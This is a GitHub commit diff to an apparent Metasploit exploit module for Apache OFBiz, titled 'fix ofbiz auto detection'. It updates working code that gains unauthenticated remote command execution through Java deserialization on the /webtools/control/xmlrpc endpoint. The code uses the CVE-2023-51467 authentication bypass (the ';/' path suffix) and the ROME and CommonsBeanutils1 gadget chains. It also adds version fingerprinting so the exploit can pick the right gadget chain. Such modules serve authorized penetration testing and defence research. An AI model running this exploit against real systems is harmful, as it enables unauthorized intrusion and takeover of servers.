Skip to content

Commit

Permalink
fix ofbiz auto detection
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Feb 6, 2024
1 parent 2efbf6e commit 84278b8
Show file tree
Hide file tree
Showing 2 changed files with 43 additions and 25 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -4,12 +4,12 @@

This module exploits a Java deserialization vulnerability in Apache
OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for
versions prior to 17.12.04.
versions prior to 17.12.01 using the `ROME` gadget chain.

Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
and use the `CommonsBeanutils1`` gadget chain.
and use the `CommonsBeanutils1` gadget chain.

Verified working on 18.12.09, and 15.12
Verified working on 18.12.09, 17.12.01, and 15.12

### Setup

Expand Down Expand Up @@ -40,11 +40,6 @@ This uses a Linux dropper to execute code.

## Options

### AUTHBYPASS

Utilize CVE-2023-49070 and CVE-2023-51467 to bypass auth, also changes the gadget chain to
`CommonsBeanutils1` to work with versions newer than ofbiz 17.

## Scenarios

### Apache OFBiz from [Docker](#setup) 15.12.
Expand Down
57 changes: 40 additions & 17 deletions modules/exploits/linux/http/apache_ofbiz_deserialization.rb
Original file line number Diff line number Diff line change
Expand Up @@ -20,12 +20,12 @@ def initialize(info = {})
'Description' => %q{
This module exploits a Java deserialization vulnerability in Apache
OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
versions prior to 17.12.04.
versions prior to 17.12.01 using the ROME gadget chain.
Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
and use the CommonsBeanutils1 gadget chain.
Verified working on 18.12.09, and 15.12
Verified working on 18.12.09, 17.12.01, and 15.12
},
'Author' => [
'Alvaro Muñoz', # Discovery
Expand Down Expand Up @@ -86,31 +86,52 @@ def initialize(info = {})
register_options([
Opt::RPORT(8443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptBool.new('AUTHBYPASS', [true, 'Utilize CVE-2023-51467', true])
])
end

# attempt to determine the version number. This attempt is flawed on versions
# < 17. 17+ has the Release on the /webtools/control/xmlrpc page. This page
# doesn't exist on versions < 17, so we just return back 'pre-17'
def version_from_login_page
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc')
})
return nil if res.nil?
return 'pre-17' unless res.code == 200
# https://rubular.com/r/vputt9uJecevOk
if res.body =~ %r{Apache OFBiz\.</a> Release\s+(?:release)?([\d.]+)}
return Regexp.last_match(1).strip
end

'unknown'
end

def check
# Send an empty serialized object
res = send_request_xmlrpc('')

return CheckCode::Unknown('Target did not respond to check.') unless res

return CheckCode::Vulnerable('Target can deserialize arbitrary data.') if res.body.include?('Failed to read result object: null')
if res.body.include?('Failed to read result object: null')
@version = 'pre-17'
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
end

# newer versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc')
)
# newer @versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz
@version = version_from_login_page

return CheckCode::Unknown('Target did not respond to check.') unless res
return CheckCode::Unknown('Target did not respond to check.') if @version.nil?
return CheckCode::Unknown('Target version could not be determined') if @version == 'unknown'

return CheckCode::Detected('Apache OFBiz detected') if res.body.include?('Apache OFBiz.')
return CheckCode::Appears('Apache OFBiz pre version 17 detected') if @version == 'pre-17'
return CheckCode::Appears("Apache OFBiz version #{@version} detected") if Rex::Version.new(@version) < Rex::Version.new('18.12.11')

CheckCode::Safe('Target cannot deserialize arbitrary data.')
CheckCode::Safe("Apache OFBiz version #{@version} detected, and is unexploitable")
end

def exploit
@version = version_from_login_page if @version.nil?

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
Expand All @@ -124,17 +145,19 @@ def exploit
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

if datastore['AUTHBYPASS'] # assumes ~18.12 or so
if @version == 'pre-17'
vprint_status('Utilizing ROME deserialization chain')
res = send_request_xmlrpc(
# framework/webapp/lib/rome-0.9.jar
# used with 18.12 compatible, but not 15.12 compatible
generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both
# used with 15.12, but not 18.12 compatible
generate_java_deserialization_for_command('ROME', 'bash', cmd)
)
else
vprint_status('Utilizing CommonsBeanutils1 deserialization chain')
res = send_request_xmlrpc(
# framework/webapp/lib/rome-0.9.jar
# used with 15.12, but not 18.12 compatible
generate_java_deserialization_for_command('ROME', 'bash', cmd)
# used with 18.12 compatible, but not 15.12 compatible
generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both
)
end

Expand Down Expand Up @@ -174,7 +197,7 @@ def send_request_xmlrpc(data)
XML
}

if datastore['AUTHBYPASS']
unless @version == 'pre-17'
request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/
request['vars_get'] = {
'USERNAME' => '',
Expand Down

0 comments on commit 84278b8

Please sign in to comment.